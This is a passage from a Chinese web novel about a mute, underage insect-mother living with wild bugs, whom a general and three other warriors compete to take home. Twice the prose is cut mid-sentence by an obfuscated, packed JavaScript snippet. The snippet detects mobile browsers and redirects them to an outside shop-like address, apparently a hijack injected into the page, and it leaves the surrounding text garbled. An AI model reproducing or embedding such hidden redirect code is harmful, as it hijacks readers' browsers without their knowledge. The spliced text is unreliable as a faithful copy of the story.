艾凛却避开了他的视线,低声说:“冷,你还这么小,需要照顾。” 阿默尔就眼睛弯弯地笑开了,指尖轻轻勾了勾艾凛的袖口,又抬手指了指自己的胸口,再按到艾凛的手背上,眉眼软乎乎的。 艾凛的耳尖悄悄泛红,指尖蜷了蜷,把他的脚裹得更紧些,声音轻得像怕惊到他:“别乱动,暖透了再松开。” 阿默尔乖乖点头,往他身边凑了凑,脑袋轻轻靠在他的胳膊上,鼻尖蹭到他衣袖上淡淡的松木香,嘴角的笑意压都压不住。 他晃了晃脚尖,蹭了蹭艾凛的掌心,感受到掌心的温度一路暖到心底。 好舒服哟…… 艾凛垂眸看着他的模样,眼底的冷意尽数化开,指尖轻轻摩挲着他的脚踝,心里盘算着,实在不行,把小幼崽偷走算了? 3. 第 3 章 长爪感觉自己被背刺了。 小虫母被其他雄虫抱在怀里,它要被偷家了! 长爪艰难地抬起头,用额前相对平滑的甲壳蹭了蹭阿默尔的小腿。 它的小妈咪很冷,居然还把脚放在别的雄虫手里,是它的错,没能让小虫母把脚放在他怀里……它好愧疚,它是个废物了呜呜…… 阿默尔看到它醒了,却如释重负,他从艾凛的怀里跳出来,跑过去跪坐在艾凛铺在地上的外套上,轻轻抚摸着长爪伤口边缘完好的甲壳,确认它真的活下来了。 “唔!” 他抱着长爪千辛万苦采回来的花,抬起脸,望向长爪,感激地笑了笑。 小妈咪一笑,长爪的心都酥了,软成一滩水。 艾凛站起身,视线扫过洞穴。 篝火,干草,粗糙的兽皮,蛋壳摇篮……以及那三只将少年牢牢护在中心区域的德亚加虫。 洞穴简陋,却还算尽心尽力,怪不得小幼崽想要和它们住在一起。 只是,这个柔软得如同暖房里精心培育的花苞般的少年,不该属于这个冰冷残酷的荒星,更不该与这些未开化的危险野兽为伍。 “宝贝,它需要静养。”艾凛第一次叫虫宝贝,有些生疏,尽量对小幼崽柔声说,“这些基础药物能防止感染和恶化,德亚加虫族的自愈能力很强,不用担心。” 阿默尔点点头,然后指了指长爪,又双手合十抵在下巴上,做了一个“谢谢”的动作。 这个动作由他做来,有种不谙世事的天真和恳切。 艾凛的心尖被挠了一小下。 真的好可爱啊,宝宝。 艾凛不再多言,他深深看了一眼蜷缩在巨虫中间的少年,转身大步离开了洞穴。 回到指挥舰后,艾凛走进物资调配中心,叫来隆,“调取一些S级营养液,口味适配幼年虫族,越多越好,要保质期是最近的。” “是。”副官威隆迅速记录,忍不住抬头看了一眼上司。 S级营养液是战略储备,专供高等虫族重要个体在极端环境下使用的,这地方哪有幼崽? 更像是为某个娇贵易碎的新生命准备的,难道是上将的私生……不可能,虫族没了虫母,再也没有能产卵的虫了。 威隆默默地跟着上将。 艾凛走到生活物资区,路过各种织物样本,最后停在一批产自核心星域专供高等虫族的云绒上。 这种织物轻薄如无物,却拥有极强的保暖性和亲肤感。 少年应该会喜欢吧? 这些德亚加虫或许能给他一个遮风挡雨的洞穴,但却给不了他应有的生长环境和安全保障,他值得更好的照顾。 艾凛抽出一匹月白色的云绒:“用这个赶制几套贴身衣物和毯子,尺寸……” 他脑海中闪过抱着少年时那纤细的腰肢和不盈一握的脚踝,实在是太瘦了,“按最小号,再缩小两号。” “明白了,上将。”威隆没再多想,立刻去办。 艾凛一想到那只小幼崽,心里就不安。 他总是怕小幼崽会出事,要不,晚上再去看他一眼吧? * 洞穴那边,长爪虚弱地趴伏着。 伤口已经妥善处理,还凑到小妈咪身边,头颅低下,带着倒刺的舌尖小心翼翼地舔了舔阿默尔的手背,勉强抬起未受伤的前肢,用尖端最细软的触须,轻柔地缠绕住阿默尔的一根手指,微微晃动。 阿默尔悬着的心稍稍落下,询问的目光温和地看着长爪:“咕?” 长爪想说,不要担心了,妈咪,我很好。 小宝听懂了,它察觉到长爪的歉意,也挪动过来,用宽阔的头部轻轻拱了拱阿默尔的腰侧,喉咙里发出安抚的咕噜声。 阿默尔顺势跪坐在长爪身边,轻轻碰了碰它的绷带边缘。 他的手是浅淡的粉色——那是常年养在培养皿里不见阳光的柔软。 长爪很喜欢小妈咪的触碰。 阿默尔很小心,因为他是个没人爱的实验品,他不会爱人。 但他会努力学着,怎么去爱这些大家伙。 阿默尔想了想,又跑到角落的储物格旁,抱出了一筐最饱满的浆果,是果皮紫得发亮,比手掌还大的果实。 他通常吃一颗就肚子饱了,什么都吃不下了,但是长爪应该会吃好几个。 他递到长爪嘴边,指尖轻轻碰了碰对方的颚齿,眼神认真,“唔。” 长爪不想吃的,它想把果实都留给小虫母,但它又不忍心拒绝小虫母的好意,只好小心地吃下,轻柔地舔了下他的手指尖儿。 小虫母怎么连指尖也这么甜……舔了一下,还想舔。 阿默尔只觉得长爪的眼睛亮了一下,以为它喜欢吃,又拿起盛放清水的叶片,喂给长爪。 长爪细长的舌尖一点点卷过叶片里的水,恍惚间觉得自己在喝甜蜜的水。 不是错觉啊! 它发现那是小虫母身上散发出的甜香,不仅没有失望,反而更享受小虫母的关爱了。 它是小虫母的子嗣,妈咪爱它是再正常不过的事了! 如果受伤就能得到妈咪的宠爱,它愿意再次为妈咪采一些小花! 这时候,艾凛带着物资回来了。 是的,还没天黑,但他没忍住要过来看看小幼崽。 越是靠近那个洞穴,他精神感知中令他渴求的安宁气息便越发强烈,如同荒漠中唯一的甘泉。 同时,他也感知到那三只德亚加虫的气息,比之前稳固了些,核心精神依旧狂野,紧紧缠绕着洞穴中心的少年,守护欲非常强烈。 只是送些必需品而已。 艾凛对自己说,忽略心底那份想要将少年连同这个简陋巢穴一起搬走的冲动。 他尊重了少年留下的选择,但这不妨碍他提供更好的生存条件。 然而,就在他距离洞穴还有百米之遥时,脚下的大地猛地传来一阵沉闷而剧烈的轰鸣。 来自地壳深处的结构性震颤! 荒星地质极不稳定,虫族基站的建设和重型设备的运行,无意中可能影响了下层脆弱岩层的平衡。 此刻,仿佛连锁反应被触发,一场小范围的地陷式岩层错动发生了! 艾凛身形一晃,反应极快地腾空跃起,翅翼展开,悬浮在半空。 只见前方不远处的山体侧面,大片岩壁在摩擦声中崩裂、滑落,激起冲天的尘土,瞬间堵塞了通往洞穴方向最近的路径。 艾凛的精神力穿透尘埃,敏锐地捕捉到洞穴内部结构传来三只德亚加虫的惊恐,还有少年的惊悸。 洞口被落石部分掩埋,内部结构可能受损,而震动还未完全平息,余震随时可能带来二次坍塌。 艾凛收起翅翼,如同银灰色的利箭般射向被落石和尘土封锁的洞穴,精神力化为无形的刀刃,切开挡路的较小石块,对于巨大的岩块则灵活闪避,迅捷无比地从一块巨石边缘挤进洞口。 洞穴出乎意料地稳固,连一道裂痕都没有? 艾凛很诧异,他还从没见过这么稳固的结构,他立刻寻找少年,想知道他有没有受伤。 阿默尔看到艾凛,吐出一口气。 还以为是谁呢,原来是他,那没危险了。 这里面很安全,哪怕有地震也不会出事。 阿默尔走过来,轻轻拉了拉艾凛的制服,然后指了指洞穴内,拍了拍自己身边的干草铺,对艾凛做了一个“坐下”的手势,想让他在这里躲避一阵子。 看着少年脸上安抚意图的眼神,艾凛心中那根紧绷的弦,莫名松动了一瞬。 他看了一眼依旧对他虎视眈眈的德亚加虫,又感知了一下外部尚未完全平息的震动和堵塞的路径。 大概施工队还需要一晚上才能疏通路线。 “……好。”他低沉地应了一声,收敛了所有攻击性的精神力,依言走到阿默尔指定的角落,姿态略显僵硬地坐了下来,银灰色的翅翼小心收拢,尽量不占太多空间。 阿默尔觉得要好好照顾长爪的医生,又从旁边摸出一个盛着清水的叶片容器,把它推到了艾凛面前的地上,然后又拿起一个饱满的浆果,也推了过去。 这是他能拿出的最好的待客之物了。 他只有这些,请艾凛吃。 艾凛看着脚边叶片里清澈的水和那颗紫莹莹的浆果,居然有点舍不得吃。 他不是没吃过,军团里每天扔掉的食物质量都比这些好。 可是荒星条件不好,巢穴里的补给不算充裕,这肯定是少年省下来的存量。 艾凛不愿意吃,拿起水,喝了一口。 水质清冽,带着荒星矿物特有的微微涩感,却因为少年这份心意而显得更甜。 阿默尔执意把果子递给他,让他吃,双眼柔和地观察着他,那双眼睛好像会说话,让艾凛无法拒绝他的任何建议。 艾凛只好拿起浆果,慢慢吃了下去。 甜味在口中化开,与他平时食用高效能量块或高级合成食物的味道截然不同,果肉软得像裹了层云,顺着喉咙滑下去时,连带着胸腔里都暖融融的。 但是,更甜的显然不是浆果。 艾凛不敢大口呼吸。 他垂眸看向阿默尔,对方正跪坐在巢穴里的普通菌毯上,像朵安静的花。 艾凛闻到了,少年身上的甜香,比浆果甜蜜百倍。 阿默尔见他吃完,眼睛弯了弯,走过来,手指轻轻拂去他嘴角沾着的一点果肉残渣,动作自然又温柔。 指尖的温度比浆果更凉,落在皮肤上时,像有细小的电流窜过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219197|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿默尔看他吃完了,觉得他没吃饱,眼神带着点期待的笑意,又伸出手,想再去拿一颗浆果,却被艾凛轻轻攥住了手腕。 “呜?”阿默尔歪了歪脑袋,不明白艾凛为什么不愿意再吃了。 不好吃吗? 艾凛的掌心带着常年握武器留下的薄茧,却特意放轻了力道,只堪堪圈住阿默尔细瘦的手腕。 他喉结动了动,才找回自己的声音,比平时低了几分,还带着点哑:“够了,剩下的……你留着,我不饿。” 阿默尔却摇了摇头,另一只手轻轻拍了拍他的手背,示意他松开,他眼底的柔和里藏着点固执,像在说“我不会听你的”,可那动作又软得让虫没法拒绝。 艾凛看着他眼底的坚持,终究还是松了手。 少年一动,空气里的甜意好像更浓了。 洞穴内一时陷入了奇异的安静,只有外界隐隐传来的震动余波,和巨虫们愈发沉重的呼吸声。 艾凛想知道,为什么小虫崽这么甜? * 然而,无论是艾凛,还是洞穴内的阿默尔与三只德亚加虫,都未曾察觉。 在荒星另一端的极高天穹之上,正有三道远比地震更加危险的影子,追逐着一场刚刚掠过星球边缘的风暴余晖,悍然降临。 虫族都是一群失去虫母的孤儿,虫母离去后,他们的灵魂永远处于焦渴燃烧状态,唯有在追逐极端天象,挑战生死极限,才能短暂麻痹那种空茫的痛楚。 虫族都是疯子,毫无疑问。 三道影子里,为首者,正是这片荒星名义上的领主,一位高等德亚加虫,欧迦。 他的形态更接近传说中的深渊巨兽,甲壳呈现出战后的暗沉斑驳伤痕,庞大身躯上布满了各种灼伤,一对复眼燃烧着寻求刺激的幽光。 另外两位同样声名显赫的雄虫跟在他身侧。 一位是翅身流线型的螳族,维萨。 另一位则是喜欢将敌人碾成石子的蚁族战士,诺顿。 他们刚刚经历了一场与小型黑洞的较量,正觉意犹未尽,便顺路拜访欧迦名下这颗星球,荒野地区的军权目前归属于暴风团,也只有他们敢在不打招呼的情况下,在欧迦眼皮子底下建基站。 欧迦与艾凛是好友,不再警惕,只是不解,“这种地方还要建基站?艾凛真是无趣,闲的没事情做,不去找妈咪,反而是当上基建狂魔了。” 他的精神感知习惯性地扫过星球表面,突然,纯净的蜜糖气息倏地钻入了他的感知! 那气息是如此年轻,如此稚嫩,却又蕴含着仿佛能抚平灵魂深处所有灼痛的温柔。 是什么味道? 维萨和诺顿也愣在原地。 三道强悍的精神力瞬间锁定气息传来的大致方向—— 正是艾凛基站所在区域,更深处的荒原腹地。 失去虫母后,他们太久太久没有感受到如此……想要靠近、想要臣服、想要被抚慰的气息了。 三道难以捕捉的虚影,朝着那缕甜美气息的来源,朝着阿默尔和艾凛所在的洞穴,以一种近乎狂暴的速度,疾驰而去。 * 艾凛的精神感知突然捕捉到那三道熟悉的狂暴精神波动,正在高速逼近,目标明确! 他瞬间警惕提升至最高。 欧迦、维萨、诺顿——这三个在虫族中以桀骜不驯和追求极端刺激闻名的家伙,怎么会突然出现在这片荒芜星域?而且还精准地朝着这个方向而来? 是巧合,还是……他们感知到了什么? 也许,是因为……小幼崽? 对于长久失去虫母,始终处于焦渴状态的雄虫而言,少年的气息无疑拥有着致命的吸引力。 铁甲、长爪和小宝也感应到了那几股强大而充满压迫感的精神力。 铁甲发出低沉威胁的嘶吼,甲壳微微张开。 长爪挣扎着想站起来,毒尾本能地扬起,小宝则如同山峦般隆起,将阿默尔和受伤的长爪牢牢护在身后,对着洞口方向发出闷雷般的警告性咕噜声。 艾凛沉着应变,向前半步,以一种保护的姿态,将阿默尔挡在身后。 阿默尔抓着他的衣摆,茫然又好奇:“咕?” 艾凛感受到衣角传来的微弱力道,心头一软,侧了侧头,“待在我身后。” 不知道怎么了,只是被少年看上一眼,心中因为被冒犯领地而升起的怒火,就变成了更强烈的保护欲。 不能让那群唯爱妈咪的疯虫吓到少年。 阿默尔用力点点头,把脸往他胳膊上轻轻靠了靠,像只寻到依靠的小兽,温温软软的。 他厉害,听他的! 艾凛反手牵住阿默尔攥着自己衣角的手,掌心的温度裹住少年微凉的指尖,轻轻捏了捏示意安心。 4. 第 4 章 疯虫们最近流行在危险的星域追逐黑洞潮汐和超新星余波,只要不死,就往死里玩。 反正就是虫母不在,虫族闲的没事就乐忠于找刺激,也是为了用刺激来缓和精神力带来的压力,宣泄过多的暴虐情绪。 否则还没等到虫母出现,他们就死于精神力崩溃了。 其实,艾凛想,他们本来不太会折返到这片贫瘠的荒星的,一定是少年身上那种独一无二的纯净气息过于安宁,无意中散发出去,吸引了这些在宇宙中漫无目的游荡疯子。 必须在他们抵达前,带少年离开,或者至少,建立起足够的威慑。 然而,现实没有给艾凛更多时间。 几乎在他念头闪过的同时,洞穴外的风声陡然变了调,不是地震余波带来的沉闷呜咽。 高速物体撕裂空气,发出尖啸。 紧接着,三道阴影如同陨石般重重砸落在洞穴外的空地上,激起更大的烟尘,连洞穴内部都感受到了沉重的冲击力。 他们来了。 艾凛的翅翼倏然展开至战斗姿态,原本收敛的精神力如同出鞘的利刃般辐射开来。 被尘土弥漫的洞口外,三个虫族的气息弥漫开来。 “欧迦,维萨,诺顿。” 艾凛认得他们,声音通过精神力扩散出去,“这里是军事管制区域,未经许可,你们立刻离开。” 尘土缓缓沉降,露出三道形态各异却同样散发着强悍与不羁气息的身影。 欧迦仍然是虫身,复眼转动,先是扫了一眼明显处于戒备状态的艾凛,随即,视线便越过艾凛的肩膀,寻找那缕甜美的气息来源。 “管制区域?” 欧迦不悦,“艾凛,这片荒星的名义领主是我,你在我的地盘上搞建设,还没给我交观光费呢,现在要求我走?我去哪?去军部住你床上?” “话是粗糙了点,但道理不糙,”维萨的身影悄无声息地出现在洞口另一侧,流线型的翅身微微震颤,同样牢牢锁定了艾凛身后的阿默尔。 “好甜的味道啊……”他复眼收缩成一条竖线,“艾凛,你藏了什么好东西?居然不给大家分享?” 诺顿已经变成人形,金发金眸,优雅高挑。 他懒洋洋地倚着石头,嘴边带着笑意,“看到了吧?不交代清楚,别想轻易过关。” 面对这三股比艾凛更不加掩饰的强大气息,洞穴内,铁甲、长爪和小宝的反应更加激烈,护崽本能被激发到了极致。 铁甲的上颚完全张开,发出尖锐的摩擦声,复眼死死盯住最近的欧迦。 长爪不顾伤势,强行撑起前半身,毒尾高高扬起,对准维萨。 小宝发出狂暴怒意的低沉咆哮,将阿默尔和长爪护得更加严实,同时警惕着诺顿的方向。 阿默尔看不到洞口外的具体情形,但能感受到那三股冰冷、狂野、可怕的精神力。 他本能地向后缩去,背脊紧紧贴住小宝温暖而坚硬的甲壳。 但是艾凛没有离开,他站在这里,挡在了他和那些可怕气息之间。 阿默尔轻轻握住了艾凛垂在身侧的手。 ——不要让他们进来,不要带走我。 艾凛握紧了他的手。 “这里没有你们要找的东西。”艾凛倒是十分冷静,精神力屏障陡然增强,如同坚不可摧的冰墙,将欧迦三虫的精神探测狠狠撞了回去,“立刻离开,否则将会被我视为对军部的挑衅。” “挑衅?”欧迦向前逼近一步,庞大的身躯带来的阴影笼罩了半个洞口,“艾凛,你什么时候学会把私藏宝贝说成军事机密了?那股气息甜得让虫发疯……是幼崽吗?你从哪里偷来的?” 艾凛:“不是偷。” “那就是抢?”欧迦摊了摊触须:“是不是幼崽,让我们看看不就知道了?多一个虫疼他有什么不好?你还想独占幼崽啊?” “别听他废话,直接开。”诺顿放下自己的重力场,洞穴内的空气仿佛都变得沉重起来,篝火的火焰被压得低伏。 “呜……” 阿默尔小心地从艾凛背后探出半个身子,柔软的发丝擦过艾凛的翅尾,他微微偏头,有些茫然地望向洞外那三道陌生而充满压迫感的身影。 两缕纤细、半透明、顶端带着莹润淡粉色的柔软触须,仿佛呼应着他波动的情绪,害羞般地从他额前与鬓角的发丝间悄悄探了出来。 它们微微蜷曲、轻颤,像初生嫩芽感知外界。 那是他的虫族触须,他之前还觉得陌生,现在倒是习惯了,在观察环境的时候,它们就会冒出头,晃来晃去,很好玩。 阿默尔抬起手,轻轻碰了碰其中一根颤动的触须,希望能把它们按回去。 因为这样一点也不威严! 洞外,原本精神力激荡澎湃的欧迦,复眼瞬间锁定在阿默尔探出的半张脸,和微微颤动的可爱粉色触须上。 他周身那股狂野不羁的气势,肉眼可见地收敛,他往后缩了缩自己的庞大身躯,仿佛怕自己狰狞的外表吓到少年。 然后,欧迦居然变成了红发红眼的人类外形。 原本还笑着的维萨也一样。 他盯着阿默尔额前那两根随着呼吸轻轻起伏的可爱触须,本能快于思考 他不想吓到这么小的宝宝虫。 于是,维萨坚硬的甲壳迅速软化、重组,夸张的镰刀状前肢收缩转化为修长有力的人类男性手臂,狰狞的口器被优美利落的下颌线条取代,覆盖着坚硬角质层的头部也变成了人类的面孔,银白的长发,一双保留着些许复眼结构的翡翠色眼眸,以及额角两道如同翎羽般优雅的暗绿色纹路。 他瞬间从一个充满攻击性的外星巨虫,变成了一个身形高挑,气质略显阴柔俊美的人形。 维萨也愣了一下,他下意识地抬手摸了摸自己光滑的脸颊,又看向洞穴里那个正呆呆望着他的小幼崽,喉咙有些发紧。 他……他刚才做了什么? 他为什么会在一个陌生的小幼崽面前,下意识地切换成了这种在宇宙种族中被认为是“最具亲和力”的人类形态? 诺顿早就已经愣住了,金眸瞪大,金发飘飘。 他的心脏像是被什么极其柔软的东西轻轻撞了一下—— 他看到了什么? 一个纤细又清瘦的少年,雪白的小脸上,一双灰蓝色的眼眸湿漉漉的,像是受惊,所以变成了两块美丽的宝石。 柔软的白发正贴在他的额角,额前的触须正在随着他急促呼吸而轻轻颤动,散发着微弱柔光的,可爱而小巧,特别可爱。 少年是如此的幼嫩,如此的纯净,与维萨认知中任何虫族都不同,他的触须也是一样,不像武器,不像传感器,反而像初生蝴蝶颤抖的触角。 是蝶种吗? 艾凛看得一清二楚,心说蝶种确实出美人。 但是,这也太美丽了。 对于失去虫母,永远焦渴,习惯于用极端刺激麻痹痛苦的雄虫而言,幼崽的吸引力是致命的,甚至连维萨这种以冷酷诡诈著称的家伙都难以自控地做出了友善的回应。 “小可爱,过来我这边好不好?” “呵,”艾凛毫不掩饰讥讽,“维萨,你这是什么意思?收起你那套把戏,这里不欢迎你。” 维萨被艾凛的话刺得回过神,翡翠色的眼眸闪过一丝恼怒,但视线再次掠过阿默尔微微颤抖的可爱触须时,恼怒又消失不见。 他扯了扯嘴角:“艾凛,别那么紧张,我只是对小幼崽有点好奇,我没见过这么小的宝宝。” 他的声音也变成了清越的男声,但尾音带着虫族特有的嘶鸣质感。 洞穴内的铁甲、长爪和小宝,虽然依旧警惕,但也明显感觉到洞外那三股可怕压力发生了本质变化。 它们低吼的声音渐渐平息,转为疑惑的咕噜声,依旧将阿默尔圈在保护的中心,但姿态不再那么充满对抗性。 这可是妈咪!不许放肆! 只不过妈咪还很小,不能生育,他们的态度倒还可圈可点,不算过分。 阿默尔眨了眨灰蓝色的眼睛,不太明白为什么外面刚才还凶巴巴的大家伙们,突然一下子变得……这么安静,还有点怪怪的? 他们虫族的性格真是多变啊。 他额前的粉色触须因为好奇,无意识地朝洞口方向探了探,又飞快地蜷缩回来一点。 变成了爱心的形状。 这个可爱的小动作,让洞外的三位雄虫呼吸又是一窒,眼神更加发直了。 “呜……” 细弱的呜咽从阿默尔喉咙里逸出。 他意识到自己的窥探引起了注意,连忙把小半张脸也埋进了小宝的甲壳后,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17219198|197499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下一双湿漉漉的眼睛,慢吞吞地偷瞄着外面。 那眼神,像极了在丛林缝隙中窥视外界,受惊的小鹿。 他好像有点吓到了。 艾凛的心脏被软软地撞了一下,快速思索着下一步。 欧迦也终于从那种眩晕般的冲击中稍微找回一点神智,他尝试着收敛自己所有凌厉的气息,让自己看起来更无害一些。 他下意识地向前走近了些,声音不自觉地放柔:“小宝宝,别怕,我们不会伤害你。” 欧迦长得俊美,红眼睛像红宝石,看上去就很高贵。 阿默尔稍微放松了一点点,但还是不敢完全探出头,犹豫了一下,觉得一直躲着也不太礼貌,于是又一点点地挪了出来,眼角沾着点薄红,懵懵地眨了下眼睛。 欧迦的尾巴缓缓地从尾椎骨延伸出来,轻扫地面,碰了碰阿默尔的脚腕,卷了一下。 “呜……” 阿默尔猛的收回脚。 果然,虫族还是太可怕了,居然还长尾巴? 欧迦忍不住笑,“胆子真的好小。” 阿默尔把自己蜷缩得更紧了,双臂抱着膝盖,将下巴搁在膝头,小触须也乖顺地贴伏在额前。 “成年虫族都有尾巴,没事的。”艾凛蹲在身边,摸摸他的头。 阿默尔躲了躲。 艾凛想,小幼崽还很怕生。 他就蹲在一旁,不凑近也不远离,指尖轻轻顺了顺阿默尔贴在颊边的碎发,看着那对蔫软的小触须,心里软成一片。 又想,这么软的小幼崽,软乎乎的,脆生生的,该好好护着才是。 把他护在怀里,挡去所有惊惶。 艾凛干脆说:“他们都特别傻,别害怕他们。” 阿默尔:“诶?” 艾凛鼓励地点了点头,“你试试对他们笑一下,他们就变成傻子了。” 阿默尔很听劝,他尝试着对洞外那几个气息强大的存在,露出了一个非常非常浅的笑容。 维萨呼吸一窒,感觉自己的精神核心像是被最柔软的羽毛轻轻搔过…… 这个笑容,配上少年蜷曲的姿态,竟奇异地压下了几分他心底的躁意。 欧迦喉咙里的咕噜声也更响了,周身凛冽的戾气都淡了几分,竟忘了移开视线,撞得他心底那片常年冷硬的地方,热乎乎的。 诺顿干脆大步走过来,把声音放得更缓:“小宝贝,你叫什么名字?怎么会在这里?” “哦,忘了告诉你们,他不会说话。” 艾凛淡淡地说,“他是只小哑巴,还没成年呢,不许嘲笑他,否则我废了你们。” 诺顿若有所思地“唔”了声。 他看着小幼崽怯生生抬着眸,眼尾还沾着未散的薄红,指尖下意识蜷了蜷。 “原来是这样。” 说着竟缓缓蹲下身,与蜷在地上的阿默尔平视,粗粝的掌心虚虚悬在他身侧,怕惊着虫似的没敢碰,眼瞳里盛着少见的温和,“没事,不会说话也没关系,我们护着你就好。” 他余光扫过阿默尔额前乖顺贴伏的小触须,尾端还轻轻颤了颤,像被风吹动的细绒,又补了句:“以后跟着我们,没虫再敢让你受怕。” 一旁的艾凛看着他这副难得的温和模样,眉峰微挑,却没吭声,“你们几个就够可怕的了。” 诺顿抓了抓头发,金眸闪了闪,忍不住还是争取一下:“那他有家了吗?没有的话,我有个家需要他去住一下。” 阿默尔:? 诺顿缓缓把他抱了起来,金发铺陈在地面上,金眸子柔和地笑着。 阿默尔下意识搂住他的脖子,轻轻攥着他颈侧的衣料,整个人蜷在他怀里,像只被拢住的小绒团。 他抬着眸望诺顿,蓝澄澄的眼瞳里还盛着两个茫然的问号,睫羽轻扇,没敢动,只任由诺顿稳稳托着他的膝弯,将他抱得更妥帖些。 诺顿低头撞进他纯澈的眼底,金眸里的笑意漾得更柔,指腹轻轻蹭了蹭他软乎乎的脸颊,声音放得像哄幼崽的呢喃:“看,这么乖,刚好填我家的空位置。” 阿默尔被晃得轻轻晃了晃,下意识把胳膊收得更紧,小触须蹭了蹭诺顿的下巴,像只寻到暖窝的小猫,往诺顿怀里又偎了偎。 虽然还是很害怕,但是被诺顿抱得暖烘烘的,他竟没半分想逃跑的念头。 5. 第 5 章 一旁的艾凛眉峰当即蹙起,上前一步就要伸手接:“你至少得尊重他的意见吧?他只是脾气好,又没说想和你走。” 诺顿抱着阿默尔,用蜻蜓种的四支虫翅挡了一下艾凛的手,又故意晃了晃怀里的小团子:“他又不是你家的,你别占有欲这么强,先到先得,没瞧见他都搂我脖子了?” 维萨也缓步靠过来,精神力轻轻缠上阿默尔的发梢,阿默尔察觉到他的拉扯,回眸看了他一眼。 阿默尔露出一个友好的笑。 这个雄虫是白头发,和他一样。 维萨弯腰,曲起手指,刮了刮他的鼻尖,“小可爱,别听他的,跟我们走吧,我们会学着怎样把你养大,养的水嫩嫩的,健康快乐,成为很厉害的虫,好不好?” 阿默尔不知道该怎么办好了,眼睛眨了眨。 看着阿默尔对三个疯虫的友善,艾凛心中的警报升至最高。 小幼崽很单纯,但是他们三个可不单纯,源自基因深处的渴望与占有欲,一旦被彻底点燃,只会比直接的冲突更加麻烦。 “轮不到你抚养小宝宝。” 艾凛代为回答,“他暂时居住在山洞里,军部的事与你们无关,基站建设完毕后我们会离开你的领地,所以现在,请你们立刻离开,不要打扰这地方的安宁。” 欧迦挑了挑眉,红眸粲然,“你在开什么玩笑?让这样一个小可爱跟三只未开化的德亚加虫待在荒星腹地?这就是你所谓的照顾,这简直是欺负小可怜,是不可饶恕的疏忽,你信不信我把你告上军事法庭?” 艾凛:“……” 为了抢小宝宝,也是够无耻的。 维萨也轻轻哼了一声,翡翠眼眸斜睨着艾凛:“军部上将的待客之道,就是把小幼崽藏在野兽巢穴里?艾凛,自从你进了军部,品位和手段,真是越来越让我惊喜了,你们蛾种好不容易才组建暴风团,这种时候应该与内阁和领主团结一心,而像联邦那群虫一样,各自分裂,什么时候才能团结一心拧成一股绳,找到妈咪?” 提到妈咪,四个虫神色都有些落寞。 虫母是这个强大种族的北极星,失去虫母后,虫族分裂为联邦与帝国两个政体,但这群同意力量悍利的虫族却同样热爱着妈咪,失去虫母的岁月是漫长而绝望的酷刑,每一次精神力能量的崩溃,就伴随着对妈咪的一次思念。 不止如此,理智崩溃、自残自杀、毁灭与疯狂……这些所有的生理性疾病,都只有虫母能够治愈他们。 联邦的科研学者们研发了无数精神稳定剂,帝国的生物制药师熬制了数不清的安抚药剂,可那些效果稀薄的试剂,终究抵不过虫母一丝温柔的精神力。 有年轻的战虫在精神力暴走时,硬生生撕碎了自己的外骨骼,在满地血液里呢喃着妈咪;有身居高位的虫将,在深夜的书房里抱着虫母遗留的传说书籍,任由精神力在体内横冲直撞,宁愿忍受撕裂般的疼痛,也不愿用药剂压制——因为那疼痛里,还留着对妈咪最后一点鲜活的念想。 “妈咪……” 那些因失去虫母而生的生理性疾痛,那些刻在骨血里的思念,都会在那一声呼唤里,尽数抚平。 阿默尔虽然听不完全懂他们的对话,但他能敏锐地察觉到气氛不佳,以及话题似乎围绕着自己的去留。 他本能地觉得,他们和铁甲它们不一样。 铁甲它们的情绪直白而简单,而他们的目光,让他觉得皮肤有些发烫。 他从诺顿怀里跳下来,跑到小宝身边,轻轻把手放在了身旁小宝温热的甲壳上。 厚实粗糙的触感传来,令阿默尔安心,方才心里那点莫名的慌,竟就这么一点点散了。 小宝立刻回应般低沉地“咕噜”一声,庞大的身躯更加严密地拢向他。 阿默尔乖乖地靠在他身上, 小宝又低低“咕噜”,脑袋轻轻蹭了蹭阿默尔的发顶,力道轻得怕碰疼他,尾尖却悄悄卷过来,搭在他的脚边,像揣了个小小的暖炉,翅膀轻轻敛着,将阿默尔护得密不透风,少年的身形在那庞大的躯身旁显得格外小巧,却又透着说不出的亲昵。 阿默尔动作温柔,带着全然的信赖,而小宝一动不动,任由他摆弄,只偶尔发出一声轻软的咕噜,像在应和他的触碰。 诺顿盯着阿默尔一直一直看,欧迦和维萨对视了一眼。 维萨绿眸颤了颤,“它们好像没那么凶残?” 艾凛却觉得,少年对德亚加虫的依赖,反而是好事。 证明了这些野兽对少年的真心守护,却也可能会刺激到那些高傲的雄虫——他们如何能忍受,如此珍贵的存在,竟然更亲近这些“低等”的野兽? 欧迦声音沉了下来,带着高等虫族特有的威压:“艾凛,我不在乎你在这里搞什么军事建设。但这个小家伙,他不应该待在这种地方,和这些东西在一起。” “有些德亚加虫族,即便是在野生分支里,也是最野蛮、智力最低下的一类。它们能给他什么?一个肮脏的洞穴,生肉,还有随时可能失控的兽性?” “吼——!”铁甲率先被激怒,它虽然智力不高,但对恶意极其敏感。 欧迦话语中的轻视和针对,让它瞬间进入战斗状态,上颚猛地张开,前肢重重踏地,震得洞穴微颤。 长爪也挣扎着昂起头,毒尾危险地摇摆,发出嘶嘶的威胁声。 小宝的咕噜声则变成了低沉咆哮,如同一座即将喷发的火山。 